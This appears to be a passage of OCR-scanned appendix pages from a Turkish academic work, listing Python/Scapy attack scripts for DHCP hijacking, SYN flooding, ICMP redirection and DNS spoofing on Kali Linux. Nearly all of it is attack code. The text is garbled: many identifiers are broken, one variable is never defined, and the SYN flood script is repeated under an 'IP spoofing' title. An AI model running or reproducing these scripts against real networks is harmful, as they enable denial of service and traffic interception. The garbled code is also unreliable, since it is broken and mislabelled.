48 (’router’, gateway),

49 (Cname_server’,

50 nameserver),

51 (Cend’)])

52

53 print "Send spoofed DHCP ACK to %s" % ip.src
54 scapy.sendp(dhcp ack, iface=dev)
55

56

57 def usage():

58 print sys.argv[0] + """

59 -d <dns_ip>

60 -g <gateway_ip>

61 -i <dev>

62 -s <dhcp_ip>"""

63 sys.exit(1)

64

65

66 try:

67 cmd_opts = "d:g:i:s:"

68 opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
69 except getopt.GetoptError:

70 usage()

71

72 for opt in opts:

73 if opt[0] == "-i":

74 dev = opt[1]

75 elif opt[0] == "-g":

76 gateway = opt[1]

77 elif opt[0] == "-d":

78 nameserver = opt[1]

79 elif opt[0] == "-s":

80 dhcpserver = opt[1]

81 else:

82 usage()83

84 if not gateway:

85 gateway = scapy.get if addr(dev)86
87 if not nameserver:

88 nameserver = gateway89

90 if not dhcpserver:

91 dhcpserver = gateway

92

93 print "Hijacking DHCP requests on %s" % (dev) —
94 scapy.sniff(iface=dev, filter=filter, prn=handle packet)
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Ek 5. SYN Flooding Atagi Kali Linux Program Kodlari

1 #!/usr/bin/python

2

3 import sys

4 from scapy.all import srflood, IP, TCP

5

6 if len(sys.argv) < 3:

7 print sys.argv[0] + " <spoofed source ip> <target>"
8 sys.exit(0)

9

10 packet = [P(src=sys.argv[1], dst=sys.argv[2]) / \
11 TCP(dport=range(1,1024), flags="S")

12

13 srflood(packet, store=0)
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Ek 6. IP Spoofing Kali Linux Programi Kodlar:

1 #!/usr/bin/python

2

3 import sys

4 from scapy.all import srflood, IP, TCP

5

6 if len(sys.argv) < 3:

7 print sys.argv[0] + " <spoofed source ip> <target>"
8 sys.exit(0)

9

10 packet = [P(src=sys.argv[1], dst=sys.argv[2]) / \
11 TCP(dport=range(1,1024), flags="S")

12

13 srflood(packet, store=0)
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Ek 7. ICMP Rediction Atagi Kali Linux Programi Kodlar:

1 #!/usr/bin/python

2

3 import sys

4 import getopt

5 from scapy.all import send, IP, ICMP
6

7 # The address we send the packet to

8 target = None

9

10 # The address of the original gateway
11 old_gw = None

12

13 # The address of our desired gateway
14 new_gw = None

15

16

17 def usage():

18 print sys.argv[0] + """

19 -t <target>

20 -0 <old_gw>

21 -n <new_gw>"""

22 sys.exit(1)

23

24 # Parsing parameter 25 try:

26 cmd_opts = "t:o:n:r:"

27 opts, args = getopt.getopt(sys.argv[1:], cmd opts)
28 except getopt.GetoptError:

29 usage()

30

31 for opt in opts:

32 if opt[0] == "-t":

33 target = opt[1]

34 elif opt[0] =="-0":

35 old _gw = opt[1]

36 elif opt[0] == "-n":

37 new_gw = opt[1]

38 else:

39 usage()

40

41 # Construct and send the packet

42 packet = [P(src=old_gw, dst=target) / \
43 ICMP(type=5, code=1, gw=new gw)/\
44 TP(src=target, dst="0.0.0.0")

45 send(packet)

83



Ek 8. DNS Spoofing Atagi Kali Linux Program Kodlari

1 #!/usr/bin/python

2

3 import sys

4 import getopt

5 import scapy.all as scapy

6

7 dev = "eth0"

8 filter = "udp port 53"
9 file = None

10 dns_map = {}

11 12 def handle packet(packet):

13 ip = packet.getlayer(scapy.IP)

14 udp = packet.getlayer(scapy.UDP)

15 dhep = packet.getlayer(scapy. DHCP)

16

17 # standard (a record) dns query

18 if dns.qr == 0 and dns.opcode == 0:

19 queried host = dns.qd.qname[:-1]

20 resolved_ip = None

21

22 if dns_map.get(queried host):

23 resolved_ip = dns_map.get(queried host)
24 elif dns_map.get(’*’):

25 resolved _ip = dns_map.get(’*’)

26

27 if resolved ip:

28 dns_answer = scapy.DNSRR(rrname=queried host +".",
29 ttl=330,

30 type="A",

31 rclass="IN",

32 rdata=resolved_ip)

33

34 dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / \
35 scapy.UDP(sport=udp.dport,

36 dport=udp.sport) / \

37 scapy.DNS(

38 id = dns.id,

39qr=1,

40 aa =0,

41 rcode =0,

42 qd = dns.qd,

43 an = dns_answer

44)

45

46 print "Send %s has %s to %s" % (queried host,
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47 resolved ip,

48 ip.src)

49 scapy.send(dns_reply, iface=dev)

50

51

52 defusage():

53 print sys.argv[0] + " -f <hosts-file> -1 <dev>"
54 sys.exit(1)

55

56

57 def parse host_file(file):

58 for line in open(file):

59 line = line.rstrip(’\n”)

60

61 if line:

62 (ip, host) = line.split()

63 dns_mapl[host] = ip

64

65 try:

66 cmd_opts = "fi1:"

67 opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
68 except getopt.GetoptError:

69 usage()

70

71 for opt in opts:

72 if opt[0] == "-i":

73 dev = opt[1]

74 elif opt[0] == "-f":

75 file = opt[1]

76 else:

77 usage()

78

79 if file:

80 parse_host file(file)

81 else:

82 usage()

83

84 print "Spoofing DNS requests on %s" % (dev)
85 scapy.sniff(iface=dev, filter=filter, prn=handle packet)
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